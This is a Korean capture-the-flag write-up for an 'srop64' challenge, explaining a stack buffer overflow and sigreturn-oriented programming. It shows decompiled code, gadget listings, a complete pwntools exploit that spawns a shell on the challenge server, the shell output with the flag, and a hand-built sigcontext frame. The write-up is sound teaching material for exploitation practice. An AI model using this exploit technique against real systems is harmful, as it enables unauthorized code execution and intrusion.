SROP

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  read(0, buf, 0x200uLL);
  return 0;
}
```

x64 바이너리이고, NX만 적용되어 있다. 디컴파일된 main의 내용은 위와 같다.

```
gef➤  disas gadget1
Dump of assembler code for function gadget1:
   0x00000000004005e6 <+0>:     push   rbp
   0x00000000004005e7 <+1>:     mov    rbp,rsp
   0x00000000004005ea <+4>:     pop    rax
   0x00000000004005eb <+5>:     ret
   0x00000000004005ec <+6>:     nop
   0x00000000004005ed <+7>:     pop    rbp
   0x00000000004005ee <+8>:     ret
End of assembler dump.
gef➤  disas gadget2
Dump of assembler code for function gadget2:
   0x00000000004005ef <+0>:     push   rbp
   0x00000000004005f0 <+1>:     mov    rbp,rsp
   0x00000000004005f3 <+4>:     syscall
   0x00000000004005f5 <+6>:     ret
   0x00000000004005f6 <+7>:     nop
   0x00000000004005f7 <+8>:     pop    rbp
   0x00000000004005f8 <+9>:     ret
End of assembler dump.
```

각각 `pop rax; ret` 가젯과 `syscall; ret` 가젯을 가지고 있는 `gadget1`, `gadget2`라는 이름의 함수도 존재한다.

```
root@33bf96e2913e /pwn
❯ ROPgadget --binary srop64 | grep "pop rdi"
0x00000000004006c3 : pop rdi ; ret

root@33bf96e2913e /pwn
❯ ROPgadget --binary srop64 | grep "pop rsi"
0x00000000004006c1 : pop rsi ; pop r15 ; ret

root@33bf96e2913e /pwn
❯ ROPgadget --binary srop64 | grep "pop rdx"
```

가젯이 많아서 그냥 ROP를 할 수 있을 것 같았는데 관련 블로그에서 `execve()`의 인자를 확인해보니 `rdx` 가젯이 필요했다. 따라서 SROP를 사용해야 한다.

```
.rodata:00000000004006E4 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:sh↓o
.rodata:00000000004006EC                 db    0
.rodata:00000000004006EC _rodata         ends
```

`/bin/sh`까지 주어지므로 `bss` 영역에 값을 쓸 필요 없이 그대로 프레임 만들어서 `execve()`를 호출하도록 하면 된다.

> `.rodata` 영역은 "read-only data"의 약자로 **프로그램에서 변경되지 않는 데이터, 즉 상수를 저장**합니다. 예를 들어, 문자열 리터럴이 이 영역에 저장됩니다. 이 영역의 데이터는 프로그램의 실행 도중에 변경되지 않기 때문에, 이를 읽기 전용 메모리에 위치시킴으로써 프로그램의 안정성을 높입니다.
> 반면에 `.bss` **영역은 "Block Started by Symbol"의 약자로 프로그램에서 초기화되지 않은 전역 변수와 정적 변수를 저장하는 곳**입니다. 이 영역의 변수들은 프로그램이 시작할 때 자동으로 0으로 초기화되며, 프로그램의 실행 도중에 값이 변경될 수 있습니다.

Payload

```python
from pwn import *

# p = process('./srop64')
p = remote("realsung.kr", 9015)
e = ELF('./srop64')

# context.log_level = 'debug'
context.arch = 'amd64'

pop_rax = 0x4005EA
syscall = 0x4005F3
binsh = 0x4006E4

frame = SigreturnFrame()
frame.rip = syscall
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0

print(frame)

rop = b"A" * 0x10
rop += b"F" * 0x8
rop += p64(pop_rax)
rop += p64(15)
rop += p64(syscall)
rop += bytes(frame)

p.sendline(rop)
p.interactive()
```

`context.arch` 를 설정하지 않으면 에러가 발생한다.
일일이 frame을 만들어 줄 수도 있지만 `pwntools` 의 `sigreturnFrame` 을 사용하면 쉽게 페이로드를 작성할 수 있다.

```
$ python3 payload.py
[+] Opening connection to realsung.kr on port 9015: Done
[*] '/home/dgevy/Stealien/12th/srop64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag
flag{64bIT_5i9reTurn_To_Sysca1l}
```

Review

```c
struct sigcontext
{
  unsigned long r8;
  unsigned long r9;
  unsigned long r10;
  unsigned long r11;
  unsigned long r12;
  unsigned long r13;
  unsigned long r14;
  unsigned long r15;
  unsigned long rdi;
  unsigned long rsi;
  unsigned long rbp;
  unsigned long rbx;
  unsigned long rdx;
  unsigned long rax;
```

```
  unsigned long rcx;
  unsigned long rsp;
  unsigned long rip;
  unsigned long eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  unsigned long err;
  unsigned long trapno;
  unsigned long oldmask;
  unsigned long cr2;
  struct _fpstate * fpstate;
  unsigned long __reserved1 [8];
};
```

손수 프레임을 전송하려면 위 구조체를 직접 만들어야 한다.

```
# Struct sigcontext
payload += p64(0x0) * 8 # r8, r9.. ~ r15
payload += p64(binsh_addr) # rdi
payload += p64(0x0) # rsi
payload += p64(0x0) # rbp
payload += p64(0x0) # rbx
payload += p64(0x0) # rdx
payload += p64(0x3b) # rax
payload += p64(0x0) # rcx
payload += p64(syscall) # rsp
payload += p64(syscall) # rip
payload += p64(0x0)     #eflags
payload += p64(0x33)    #cs
payload += p64(0x0)     #gs
payload += p64(0x0)     #fs
payload += p64(0x2b)    #ss
```

처음에는 각 구조체 크기만큼 값을 줘야하는 줄 알았는데 관련 페이로드를 찾아보니 `p64()`로 패킹해서 전송하는 것을 볼 수 있었다.
이는 하드웨어 아키텍처에 따라 데이터에 접근하는 속도를 최적화하기 위해 **구조체 내에서 데이터 정렬을 위해 패딩이 추가되기 때문**이다. 이 때문에 구조체의 전체 크기는 항상 각 요소의 크기 합계와 같지는 않을 수 있다.

📌 References

- https://www.notion.so/SROP-SigReturn-Oriented-Programming-4eaaf1a024144afd84c5fe0f8b4d7c61
- sigreturn()
- https://github.com/nushosilayer8/pwn/blob/master/srop/README.md